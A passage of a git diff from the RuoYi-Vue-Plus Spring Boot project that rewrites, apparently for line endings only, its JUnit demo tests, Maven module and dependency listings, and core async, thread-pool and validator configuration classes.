org.junit.jupiter.api.Test; - -/** - * 断言单元测试案例 - * - * @author Lion Li - */ -@DisplayName("断言单元测试案例") -public class AssertUnitTest { - - @DisplayName("测试 assertEquals 方法") - @Test - public void testAssertEquals() { - Assertions.assertEquals("666", new String("666")); - Assertions.assertNotEquals("666", new String("666")); - } - - @DisplayName("测试 assertSame 方法") - @Test - public void testAssertSame() { - Object obj = new Object(); - Object obj1 = obj; - Assertions.assertSame(obj, obj1); - Assertions.assertNotSame(obj, obj1); - } - - @DisplayName("测试 assertTrue 方法") - @Test - public void testAssertTrue() { - Assertions.assertTrue(true); - Assertions.assertFalse(true); - } - - @DisplayName("测试 assertNull 方法") - @Test - public void testAssertNull() { - Assertions.assertNull(null); - Assertions.assertNotNull(null); - } - -} +package org.dromara.test; + +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +/** + * 断言单元测试案例 + * + * @author Lion Li + */ +@DisplayName("断言单元测试案例") +public class AssertUnitTest { + + @DisplayName("测试 assertEquals 方法") + @Test + public void testAssertEquals() { + Assertions.assertEquals("666", new String("666")); + Assertions.assertNotEquals("666", new String("666")); + } + + @DisplayName("测试 assertSame 方法") + @Test + public void testAssertSame() { + Object obj = new Object(); + Object obj1 = obj; + Assertions.assertSame(obj, obj1); + Assertions.assertNotSame(obj, obj1); + } + + @DisplayName("测试 assertTrue 方法") + @Test + public void testAssertTrue() { + Assertions.assertTrue(true); + Assertions.assertFalse(true); + } + + @DisplayName("测试 assertNull 方法") + @Test + public void testAssertNull() { + Assertions.assertNull(null); + Assertions.assertNotNull(null); + } + +} diff --git a/ruoyi-admin/src/test/java/org/dromara/test/DemoUnitTest.java b/ruoyi-admin/src/test/java/org/dromara/test/DemoUnitTest.java index 5b3dfdc..f3b9551 100644 --- a/ruoyi-admin/src/test/java/org/dromara/test/DemoUnitTest.java +++ b/ruoyi-admin/src/test/java/org/dromara/test/DemoUnitTest.java @@ -1,70 +1,70 @@ -package org.dromara.test; - -import org.dromara.common.core.config.RuoYiConfig; -import org.junit.jupiter.api.*; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.boot.test.context.SpringBootTest; - -import java.util.concurrent.TimeUnit; - -/** - * 单元测试案例 - * - * @author Lion Li - */ -@SpringBootTest // 此注解只能在 springboot 主包下使用 需包含 main 方法与 yml 配置文件 -@DisplayName("单元测试案例") -public class DemoUnitTest { - - @Autowired - private RuoYiConfig ruoYiConfig; - - @DisplayName("测试 @SpringBootTest @Test @DisplayName 注解") - @Test - public void testTest() { - System.out.println(ruoYiConfig); - } - - @Disabled - @DisplayName("测试 @Disabled 注解") - @Test - public void testDisabled() { - System.out.println(ruoYiConfig); - } - - @Timeout(value = 2L, unit = TimeUnit.SECONDS) - @DisplayName("测试 @Timeout 注解") - @Test - public void testTimeout() throws InterruptedException { - Thread.sleep(3000); - System.out.println(ruoYiConfig); - } - - - @DisplayName("测试 @RepeatedTest 注解") - @RepeatedTest(3) - public void testRepeatedTest() { - System.out.println(666); - } - - @BeforeAll - public static void testBeforeAll() { - System.out.println("@BeforeAll =================="); - } - - @BeforeEach - public void testBeforeEach() { - System.out.println("@BeforeEach =================="); - } - - @AfterEach - public void testAfterEach() { - System.out.println("@AfterEach =================="); - } - - @AfterAll - public static void testAfterAll() { - System.out.println("@AfterAll =================="); - } - -} +package org.dromara.test; + +import org.dromara.common.core.config.RuoYiConfig; +import org.junit.jupiter.api.*; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; + +import java.util.concurrent.TimeUnit; + +/** + * 单元测试案例 + * + * @author Lion Li + */ +@SpringBootTest // 此注解只能在 springboot 主包下使用 需包含 main 方法与 yml 配置文件 +@DisplayName("单元测试案例") +public class DemoUnitTest { + + @Autowired + private RuoYiConfig ruoYiConfig; + + @DisplayName("测试 @SpringBootTest @Test @DisplayName 注解") + @Test + public void testTest() { + System.out.println(ruoYiConfig); + } + + @Disabled + @DisplayName("测试 @Disabled 注解") + @Test + public void testDisabled() { + System.out.println(ruoYiConfig); + } + + @Timeout(value = 2L, unit = TimeUnit.SECONDS) + @DisplayName("测试 @Timeout 注解") + @Test + public void testTimeout() throws InterruptedException { + Thread.sleep(3000); + System.out.println(ruoYiConfig); + } + + + @DisplayName("测试 @RepeatedTest 注解") + @RepeatedTest(3) + public void testRepeatedTest() { + System.out.println(666); + } + + @BeforeAll + public static void testBeforeAll() { + System.out.println("@BeforeAll =================="); + } + + @BeforeEach + public void testBeforeEach() { + System.out.println("@BeforeEach =================="); + } + + @AfterEach + public void testAfterEach() { + System.out.println("@AfterEach =================="); + } + + @AfterAll + public static void testAfterAll() { + System.out.println("@AfterAll =================="); + } + +} diff --git a/ruoyi-admin/src/test/java/org/dromara/test/ParamUnitTest.java b/ruoyi-admin/src/test/java/org/dromara/test/ParamUnitTest.java index 1db51df..662fde8 100644 --- a/ruoyi-admin/src/test/java/org/dromara/test/ParamUnitTest.java +++ b/ruoyi-admin/src/test/java/org/dromara/test/ParamUnitTest.java @@ -1,72 +1,72 @@ -package org.dromara.test; - -import org.dromara.common.core.enums.UserType; -import org.junit.jupiter.api.AfterEach; -import org.junit.jupiter.api.BeforeEach; -import org.junit.jupiter.api.DisplayName; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.EnumSource; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.NullSource; -import org.junit.jupiter.params.provider.ValueSource; - -import java.util.ArrayList; -import java.util.List; -import java.util.stream.Stream; - -/** - * 带参数单元测试案例 - * - * @author Lion Li - */ -@DisplayName("带参数单元测试案例") -public class ParamUnitTest { - - @DisplayName("测试 @ValueSource 注解") - @ParameterizedTest - @ValueSource(strings = {"t1", "t2", "t3"}) - public void testValueSource(String str) { - System.out.println(str); - } - - @DisplayName("测试 @NullSource 注解") - @ParameterizedTest - @NullSource - public void testNullSource(String str) { - System.out.println(str); - } - - @DisplayName("测试 @EnumSource 注解") - @ParameterizedTest - @EnumSource(UserType.class) - public void testEnumSource(UserType type) { - System.out.println(type.getUserType()); - } - - @DisplayName("测试 @MethodSource 注解") - @ParameterizedTest - @MethodSource("getParam") - public void testMethodSource(String str) { - System.out.println(str); - } - - public static Stream getParam() { - List list = new ArrayList<>(); - list.add("t1"); - list.add("t2"); - list.add("t3"); - return list.stream(); - } - - @BeforeEach - public void testBeforeEach() { - System.out.println("@BeforeEach =================="); - } - - @AfterEach - public void testAfterEach() { - System.out.println("@AfterEach =================="); - } - - -} +package org.dromara.test; + +import org.dromara.common.core.enums.UserType; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.EnumSource; +import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.NullSource; +import org.junit.jupiter.params.provider.ValueSource; + +import java.util.ArrayList; +import java.util.List; +import java.util.stream.Stream; + +/** + * 带参数单元测试案例 + * + * @author Lion Li + */ +@DisplayName("带参数单元测试案例") +public class ParamUnitTest { + + @DisplayName("测试 @ValueSource 注解") + @ParameterizedTest + @ValueSource(strings = {"t1", "t2", "t3"}) + public void testValueSource(String str) { + System.out.println(str); + } + + @DisplayName("测试 @NullSource 注解") + @ParameterizedTest + @NullSource + public void testNullSource(String str) { + System.out.println(str); + } + + @DisplayName("测试 @EnumSource 注解") + @ParameterizedTest + @EnumSource(UserType.class) + public void testEnumSource(UserType type) { + System.out.println(type.getUserType()); + } + + @DisplayName("测试 @MethodSource 注解") + @ParameterizedTest + @MethodSource("getParam") + public void testMethodSource(String str) { + System.out.println(str); + } + + public static Stream getParam() { + List list = new ArrayList<>(); + list.add("t1"); + list.add("t2"); + list.add("t3"); + return list.stream(); + } + + @BeforeEach + public void testBeforeEach() { + System.out.println("@BeforeEach =================="); + } + + @AfterEach + public void testAfterEach() { + System.out.println("@AfterEach =================="); + } + + +} diff --git a/ruoyi-admin/src/test/java/org/dromara/test/TagUnitTest.java b/ruoyi-admin/src/test/java/org/dromara/test/TagUnitTest.java index b50afa6..a21c9d9 100644 --- a/ruoyi-admin/src/test/java/org/dromara/test/TagUnitTest.java +++ b/ruoyi-admin/src/test/java/org/dromara/test/TagUnitTest.java @@ -1,54 +1,54 @@ -package org.dromara.test; - -import org.junit.jupiter.api.*; -import org.springframework.boot.test.context.SpringBootTest; - -/** - * 标签单元测试案例 - * - * @author Lion Li - */ -@SpringBootTest -@DisplayName("标签单元测试案例") -public class TagUnitTest { - - @Tag("dev") - @DisplayName("测试 @Tag dev") - @Test - public void testTagDev() { - System.out.println("dev"); - } - - @Tag("prod") - @DisplayName("测试 @Tag prod") - @Test - public void testTagProd() { - System.out.println("prod"); - } - - @Tag("local") - @DisplayName("测试 @Tag local") - @Test - public void testTagLocal() { - System.out.println("local"); - } - - @Tag("exclude") - @DisplayName("测试 @Tag exclude") - @Test - public void testTagExclude() { - System.out.println("exclude"); - } - - @BeforeEach - public void testBeforeEach() { - System.out.println("@BeforeEach =================="); - } - - @AfterEach - public void testAfterEach() { - System.out.println("@AfterEach =================="); - } - - -} +package org.dromara.test; + +import org.junit.jupiter.api.*; +import org.springframework.boot.test.context.SpringBootTest; + +/** + * 标签单元测试案例 + * + * @author Lion Li + */ +@SpringBootTest +@DisplayName("标签单元测试案例") +public class TagUnitTest { + + @Tag("dev") + @DisplayName("测试 @Tag dev") + @Test + public void testTagDev() { + System.out.println("dev"); + } + + @Tag("prod") + @DisplayName("测试 @Tag prod") + @Test + public void testTagProd() { + System.out.println("prod"); + } + + @Tag("local") + @DisplayName("测试 @Tag local") + @Test + public void testTagLocal() { + System.out.println("local"); + } + + @Tag("exclude") + @DisplayName("测试 @Tag exclude") + @Test + public void testTagExclude() { + System.out.println("exclude"); + } + + @BeforeEach + public void testBeforeEach() { + System.out.println("@BeforeEach =================="); + } + + @AfterEach + public void testAfterEach() { + System.out.println("@AfterEach =================="); + } + + +} diff --git a/ruoyi-common/pom.xml b/ruoyi-common/pom.xml index 2930fd0..a21373c 100644 --- a/ruoyi-common/pom.xml +++ b/ruoyi-common/pom.xml @@ -1,46 +1,46 @@ - - - - ruoyi-vue-plus - org.dromara - ${revision} - - 4.0.0 - - - ruoyi-common-bom - ruoyi-common-social - ruoyi-common-core - ruoyi-common-doc - ruoyi-common-excel - ruoyi-common-idempotent - ruoyi-common-job - ruoyi-common-log - ruoyi-common-mail - ruoyi-common-mybatis - ruoyi-common-oss - ruoyi-common-ratelimiter - ruoyi-common-redis - ruoyi-common-satoken - ruoyi-common-security - ruoyi-common-sms - ruoyi-common-web - ruoyi-common-translation - ruoyi-common-sensitive - ruoyi-common-json - ruoyi-common-encrypt - ruoyi-common-tenant - ruoyi-common-websocket - ruoyi-common-sse - - - ruoyi-common - pom - - - common 通用模块 - - - + + + + ruoyi-vue-plus + org.dromara + ${revision} + + 4.0.0 + + + ruoyi-common-bom + ruoyi-common-social + ruoyi-common-core + ruoyi-common-doc + ruoyi-common-excel + ruoyi-common-idempotent + ruoyi-common-job + ruoyi-common-log + ruoyi-common-mail + ruoyi-common-mybatis + ruoyi-common-oss + ruoyi-common-ratelimiter + ruoyi-common-redis + ruoyi-common-satoken + ruoyi-common-security + ruoyi-common-sms + ruoyi-common-web + ruoyi-common-translation + ruoyi-common-sensitive + ruoyi-common-json + ruoyi-common-encrypt + ruoyi-common-tenant + ruoyi-common-websocket + ruoyi-common-sse + + + ruoyi-common + pom + + + common 通用模块 + + + diff --git a/ruoyi-common/ruoyi-common-bom/pom.xml b/ruoyi-common/ruoyi-common-bom/pom.xml index dbc5f1c..808beae 100644 --- a/ruoyi-common/ruoyi-common-bom/pom.xml +++ b/ruoyi-common/ruoyi-common-bom/pom.xml @@ -1,185 +1,185 @@ - - - 4.0.0 - - org.dromara - ruoyi-common-bom - ${revision} - pom - - - ruoyi-common-bom common依赖项 - - - - 5.2.3 - - - - - - - org.dromara - ruoyi-common-core - ${revision} - - - - - org.dromara - ruoyi-common-doc - ${revision} - - - - - org.dromara - ruoyi-common-excel - ${revision} - - - - - org.dromara - ruoyi-common-idempotent - ${revision} - - - - - org.dromara - ruoyi-common-job - ${revision} - - - - - org.dromara - ruoyi-common-log - ${revision} - - - - - org.dromara - ruoyi-common-mail - ${revision} - - - - - org.dromara - ruoyi-common-mybatis - ${revision} - - - - - org.dromara - ruoyi-common-oss - ${revision} - - - - - org.dromara - ruoyi-common-ratelimiter - ${revision} - - - - - org.dromara - ruoyi-common-redis - ${revision} - - - - - org.dromara - ruoyi-common-satoken - ${revision} - - - - - org.dromara - ruoyi-common-security - ${revision} - - - - - org.dromara - ruoyi-common-sms - ${revision} - - - - org.dromara - ruoyi-common-social - ${revision} - - - - - org.dromara - ruoyi-common-web - ${revision} - - - - - org.dromara - ruoyi-common-translation - ${revision} - - - - - org.dromara - ruoyi-common-sensitive - ${revision} - - - - - org.dromara - ruoyi-common-json - ${revision} - - - - - org.dromara - ruoyi-common-encrypt - ${revision} - - - - - org.dromara - ruoyi-common-tenant - ${revision} - - - - - org.dromara - ruoyi-common-websocket - ${revision} - - - - - org.dromara - ruoyi-common-sse - ${revision} - - - - - - + + + 4.0.0 + + org.dromara + ruoyi-common-bom + ${revision} + pom + + + ruoyi-common-bom common依赖项 + + + + 5.2.3 + + + + + + + org.dromara + ruoyi-common-core + ${revision} + + + + + org.dromara + ruoyi-common-doc + ${revision} + + + + + org.dromara + ruoyi-common-excel + ${revision} + + + + + org.dromara + ruoyi-common-idempotent + ${revision} + + + + + org.dromara + ruoyi-common-job + ${revision} + + + + + org.dromara + ruoyi-common-log + ${revision} + + + + + org.dromara + ruoyi-common-mail + ${revision} + + + + + org.dromara + ruoyi-common-mybatis + ${revision} + + + + + org.dromara + ruoyi-common-oss + ${revision} + + + + + org.dromara + ruoyi-common-ratelimiter + ${revision} + + + + + org.dromara + ruoyi-common-redis + ${revision} + + + + + org.dromara + ruoyi-common-satoken + ${revision} + + + + + org.dromara + ruoyi-common-security + ${revision} + + + + + org.dromara + ruoyi-common-sms + ${revision} + + + + org.dromara + ruoyi-common-social + ${revision} + + + + + org.dromara + ruoyi-common-web + ${revision} + + + + + org.dromara + ruoyi-common-translation + ${revision} + + + + + org.dromara + ruoyi-common-sensitive + ${revision} + + + + + org.dromara + ruoyi-common-json + ${revision} + + + + + org.dromara + ruoyi-common-encrypt + ${revision} + + + + + org.dromara + ruoyi-common-tenant + ${revision} + + + + + org.dromara + ruoyi-common-websocket + ${revision} + + + + + org.dromara + ruoyi-common-sse + ${revision} + + + + + + diff --git a/ruoyi-common/ruoyi-common-core/pom.xml b/ruoyi-common/ruoyi-common-core/pom.xml index ad37e90..4a8a45f 100644 --- a/ruoyi-common/ruoyi-common-core/pom.xml +++ b/ruoyi-common/ruoyi-common-core/pom.xml @@ -1,99 +1,99 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-core - - - ruoyi-common-core 核心模块 - - - - - - org.springframework - spring-context-support - - - - - org.springframework - spring-web - - - - - org.springframework.boot - spring-boot-starter-validation - - - - org.springframework.boot - spring-boot-starter-aop - - - - - org.apache.commons - commons-lang3 - - - - - jakarta.servlet - jakarta.servlet-api - - - - cn.hutool - hutool-core - - - - cn.hutool - hutool-http - - - - cn.hutool - hutool-extra - - - - org.projectlombok - lombok - - - - - org.springframework.boot - spring-boot-configuration-processor - - - - org.springframework.boot - spring-boot-properties-migrator - runtime - - - - io.github.linpeilie - mapstruct-plus-spring-boot-starter - - - - - org.lionsoul - ip2region - - - - - + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-core + + + ruoyi-common-core 核心模块 + + + + + + org.springframework + spring-context-support + + + + + org.springframework + spring-web + + + + + org.springframework.boot + spring-boot-starter-validation + + + + org.springframework.boot + spring-boot-starter-aop + + + + + org.apache.commons + commons-lang3 + + + + + jakarta.servlet + jakarta.servlet-api + + + + cn.hutool + hutool-core + + + + cn.hutool + hutool-http + + + + cn.hutool + hutool-extra + + + + org.projectlombok + lombok + + + + + org.springframework.boot + spring-boot-configuration-processor + + + + org.springframework.boot + spring-boot-properties-migrator + runtime + + + + io.github.linpeilie + mapstruct-plus-spring-boot-starter + + + + + org.lionsoul + ip2region + + + + + diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/ApplicationConfig.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/ApplicationConfig.java index d9f70e4..9190673 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/ApplicationConfig.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/ApplicationConfig.java @@ -1,17 +1,17 @@ -package org.dromara.common.core.config; - -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.context.annotation.EnableAspectJAutoProxy; -import org.springframework.scheduling.annotation.EnableAsync; - -/** - * 程序注解配置 - * - * @author Lion Li - */ -@AutoConfiguration -@EnableAspectJAutoProxy -@EnableAsync(proxyTargetClass = true) -public class ApplicationConfig { - -} +package org.dromara.common.core.config; + +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.context.annotation.EnableAspectJAutoProxy; +import org.springframework.scheduling.annotation.EnableAsync; + +/** + * 程序注解配置 + * + * @author Lion Li + */ +@AutoConfiguration +@EnableAspectJAutoProxy +@EnableAsync(proxyTargetClass = true) +public class ApplicationConfig { + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/AsyncConfig.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/AsyncConfig.java index cd01e33..bacd0d5 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/AsyncConfig.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/AsyncConfig.java @@ -1,52 +1,52 @@ -package org.dromara.common.core.config; - -import cn.hutool.core.util.ArrayUtil; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.SpringUtils; -import org.springframework.aop.interceptor.AsyncUncaughtExceptionHandler; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.core.task.VirtualThreadTaskExecutor; -import org.springframework.scheduling.annotation.AsyncConfigurer; - -import java.util.Arrays; -import java.util.concurrent.Executor; - -/** - * 异步配置 - *

- * 如果未使用虚拟线程则生效 - * - * @author Lion Li - */ -@AutoConfiguration -public class AsyncConfig implements AsyncConfigurer { - - /** - * 自定义 @Async 注解使用系统线程池 - */ - @Override - public Executor getAsyncExecutor() { - if(SpringUtils.isVirtual()) { - return new VirtualThreadTaskExecutor("async-"); - } - return SpringUtils.getBean("scheduledExecutorService"); - } - - /** - * 异步执行异常处理 - */ - @Override - public AsyncUncaughtExceptionHandler getAsyncUncaughtExceptionHandler() { - return (throwable, method, objects) -> { - throwable.printStackTrace(); - StringBuilder sb = new StringBuilder(); - sb.append("Exception message - ").append(throwable.getMessage()) - .append(", Method name - ").append(method.getName()); - if (ArrayUtil.isNotEmpty(objects)) { - sb.append(", Parameter value - ").append(Arrays.toString(objects)); - } - throw new ServiceException(sb.toString()); - }; - } - -} +package org.dromara.common.core.config; + +import cn.hutool.core.util.ArrayUtil; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.SpringUtils; +import org.springframework.aop.interceptor.AsyncUncaughtExceptionHandler; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.core.task.VirtualThreadTaskExecutor; +import org.springframework.scheduling.annotation.AsyncConfigurer; + +import java.util.Arrays; +import java.util.concurrent.Executor; + +/** + * 异步配置 + *

+ * 如果未使用虚拟线程则生效 + * + * @author Lion Li + */ +@AutoConfiguration +public class AsyncConfig implements AsyncConfigurer { + + /** + * 自定义 @Async 注解使用系统线程池 + */ + @Override + public Executor getAsyncExecutor() { + if(SpringUtils.isVirtual()) { + return new VirtualThreadTaskExecutor("async-"); + } + return SpringUtils.getBean("scheduledExecutorService"); + } + + /** + * 异步执行异常处理 + */ + @Override + public AsyncUncaughtExceptionHandler getAsyncUncaughtExceptionHandler() { + return (throwable, method, objects) -> { + throwable.printStackTrace(); + StringBuilder sb = new StringBuilder(); + sb.append("Exception message - ").append(throwable.getMessage()) + .append(", Method name - ").append(method.getName()); + if (ArrayUtil.isNotEmpty(objects)) { + sb.append(", Parameter value - ").append(Arrays.toString(objects)); + } + throw new ServiceException(sb.toString()); + }; + } + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/RuoYiConfig.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/RuoYiConfig.java index cc0d2df..37f02ab 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/RuoYiConfig.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/RuoYiConfig.java @@ -1,33 +1,33 @@ -package org.dromara.common.core.config; - -import lombok.Data; -import org.springframework.boot.context.properties.ConfigurationProperties; -import org.springframework.stereotype.Component; - -/** - * 读取项目相关配置 - * - * @author Lion Li - */ - -@Data -@Component -@ConfigurationProperties(prefix = "ruoyi") -public class RuoYiConfig { - - /** - * 项目名称 - */ - private String name; - - /** - * 版本 - */ - private String version; - - /** - * 版权年份 - */ - private String copyrightYear; - -} +package org.dromara.common.core.config; + +import lombok.Data; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.stereotype.Component; + +/** + * 读取项目相关配置 + * + * @author Lion Li + */ + +@Data +@Component +@ConfigurationProperties(prefix = "ruoyi") +public class RuoYiConfig { + + /** + * 项目名称 + */ + private String name; + + /** + * 版本 + */ + private String version; + + /** + * 版权年份 + */ + private String copyrightYear; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/ThreadPoolConfig.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/ThreadPoolConfig.java index b4d4528..1f19b6d 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/ThreadPoolConfig.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/ThreadPoolConfig.java @@ -1,78 +1,78 @@ -package org.dromara.common.core.config; - -import jakarta.annotation.PreDestroy; -import lombok.extern.slf4j.Slf4j; -import org.apache.commons.lang3.concurrent.BasicThreadFactory; -import org.dromara.common.core.config.properties.ThreadPoolProperties; -import org.dromara.common.core.utils.Threads; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; -import org.springframework.boot.context.properties.EnableConfigurationProperties; -import org.springframework.context.annotation.Bean; -import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; - -import java.util.concurrent.ScheduledExecutorService; -import java.util.concurrent.ScheduledThreadPoolExecutor; -import java.util.concurrent.ThreadPoolExecutor; - -/** - * 线程池配置 - * - * @author Lion Li - **/ -@Slf4j -@AutoConfiguration -@EnableConfigurationProperties(ThreadPoolProperties.class) -public class ThreadPoolConfig { - - /** - * 核心线程数 = cpu 核心数 + 1 - */ - private final int core = Runtime.getRuntime().availableProcessors() + 1; - - private ScheduledExecutorService scheduledExecutorService; - - @Bean(name = "threadPoolTaskExecutor") - @ConditionalOnProperty(prefix = "thread-pool", name = "enabled", havingValue = "true") - public ThreadPoolTaskExecutor threadPoolTaskExecutor(ThreadPoolProperties threadPoolProperties) { - ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor(); - executor.setCorePoolSize(core); - executor.setMaxPoolSize(core * 2); - executor.setQueueCapacity(threadPoolProperties.getQueueCapacity()); - executor.setKeepAliveSeconds(threadPoolProperties.getKeepAliveSeconds()); - executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy()); - return executor; - } - - /** - * 执行周期性或定时任务 - */ - @Bean(name = "scheduledExecutorService") - protected ScheduledExecutorService scheduledExecutorService() { - ScheduledThreadPoolExecutor scheduledThreadPoolExecutor = new ScheduledThreadPoolExecutor(core, - new BasicThreadFactory.Builder().namingPattern("schedule-pool-%d").daemon(true).build(), - new ThreadPoolExecutor.CallerRunsPolicy()) { - @Override - protected void afterExecute(Runnable r, Throwable t) { - super.afterExecute(r, t); - Threads.printException(r, t); - } - }; - this.scheduledExecutorService = scheduledThreadPoolExecutor; - return scheduledThreadPoolExecutor; - } - - /** - * 销毁事件 - */ - @PreDestroy - public void destroy() { - try { - log.info("====关闭后台任务任务线程池===="); - Threads.shutdownAndAwaitTermination(scheduledExecutorService); - } catch (Exception e) { - log.error(e.getMessage(), e); - } - } - -} +package org.dromara.common.core.config; + +import jakarta.annotation.PreDestroy; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.concurrent.BasicThreadFactory; +import org.dromara.common.core.config.properties.ThreadPoolProperties; +import org.dromara.common.core.utils.Threads; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; + +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.ScheduledThreadPoolExecutor; +import java.util.concurrent.ThreadPoolExecutor; + +/** + * 线程池配置 + * + * @author Lion Li + **/ +@Slf4j +@AutoConfiguration +@EnableConfigurationProperties(ThreadPoolProperties.class) +public class ThreadPoolConfig { + + /** + * 核心线程数 = cpu 核心数 + 1 + */ + private final int core = Runtime.getRuntime().availableProcessors() + 1; + + private ScheduledExecutorService scheduledExecutorService; + + @Bean(name = "threadPoolTaskExecutor") + @ConditionalOnProperty(prefix = "thread-pool", name = "enabled", havingValue = "true") + public ThreadPoolTaskExecutor threadPoolTaskExecutor(ThreadPoolProperties threadPoolProperties) { + ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor(); + executor.setCorePoolSize(core); + executor.setMaxPoolSize(core * 2); + executor.setQueueCapacity(threadPoolProperties.getQueueCapacity()); + executor.setKeepAliveSeconds(threadPoolProperties.getKeepAliveSeconds()); + executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy()); + return executor; + } + + /** + * 执行周期性或定时任务 + */ + @Bean(name = "scheduledExecutorService") + protected ScheduledExecutorService scheduledExecutorService() { + ScheduledThreadPoolExecutor scheduledThreadPoolExecutor = new ScheduledThreadPoolExecutor(core, + new BasicThreadFactory.Builder().namingPattern("schedule-pool-%d").daemon(true).build(), + new ThreadPoolExecutor.CallerRunsPolicy()) { + @Override + protected void afterExecute(Runnable r, Throwable t) { + super.afterExecute(r, t); + Threads.printException(r, t); + } + }; + this.scheduledExecutorService = scheduledThreadPoolExecutor; + return scheduledThreadPoolExecutor; + } + + /** + * 销毁事件 + */ + @PreDestroy + public void destroy() { + try { + log.info("====关闭后台任务任务线程池===="); + Threads.shutdownAndAwaitTermination(scheduledExecutorService); + } catch (Exception e) { + log.error(e.getMessage(), e); + } + } + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/ValidatorConfig.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/ValidatorConfig.java index 45c5bd1..b4fc487 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/ValidatorConfig.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/ValidatorConfig.java @@ -1,40 +1,40 @@ -package org.dromara.common.core.config; - -import jakarta.validation.Validator; -import org.hibernate.validator.HibernateValidator; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.context.MessageSource; -import org.springframework.context.annotation.Bean; -import org.springframework.validation.beanvalidation.LocalValidatorFactoryBean; - -import java.util.Properties; - -/** - * 校验框架配置类 - * - * @author Lion Li - */ -@AutoConfiguration -public class ValidatorConfig { - - /** - * 配置校验框架 快速返回模式 - */ - @Bean - public Validator validator(MessageSource messageSource) { - try (LocalValidatorFactoryBean factoryBean = new LocalValidatorFactoryBean()) { - // 国际化 - factoryBean.setValidationMessageSource(messageSource); - // 设置使用 HibernateValidator 校验器 - factoryBean.setProviderClass(HibernateValidator.class); - Properties properties = new Properties(); - // 设置 快速异常返回 - properties.setProperty("hibernate.validator.fail_fast", "true"); - factoryBean.setValidationProperties(properties); - // 加载配置 - factoryBean.afterPropertiesSet(); - return factoryBean.getValidator(); - } - } - -} +package org.dromara.common.core.config; + +import jakarta.validation.Validator; +import org.hibernate.validator.HibernateValidator; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.context.MessageSource; +import org.springframework.context.annotation.Bean; +import org.springframework.validation.beanvalidation.LocalValidatorFactoryBean; + +import java.util.Properties; + +/** + * 校验框架配置类 + * + * @author Lion Li + */ +@AutoConfiguration +public class ValidatorConfig { + + /** + * 配置校验框架 快速返回模式 + */ + @Bean + public Validator validator(MessageSource messageSource) { + try (LocalValidatorFactoryBean factoryBean = new LocalValidatorFactoryBean()) { + // 国际化 + factoryBean.setValidationMessageSource(messageSource); + // 设置使用 HibernateValidator 校验器 + factoryBean.setProviderClass(HibernateValidator.class); + Properties properties = new Properties(); + // 设置 快速异常返回 + properties.setProperty("hibernate.validator.fail_fast", "true"); + factoryBean.setValidationProperties(properties); + // 加载配置 + factoryBean.afterPropertiesSet(); + return factoryBean.getValidator(); + } + } + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/properties/ThreadPoolProperties.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/properties/ThreadPoolProperties.java index 820564f..fe621ae 100644 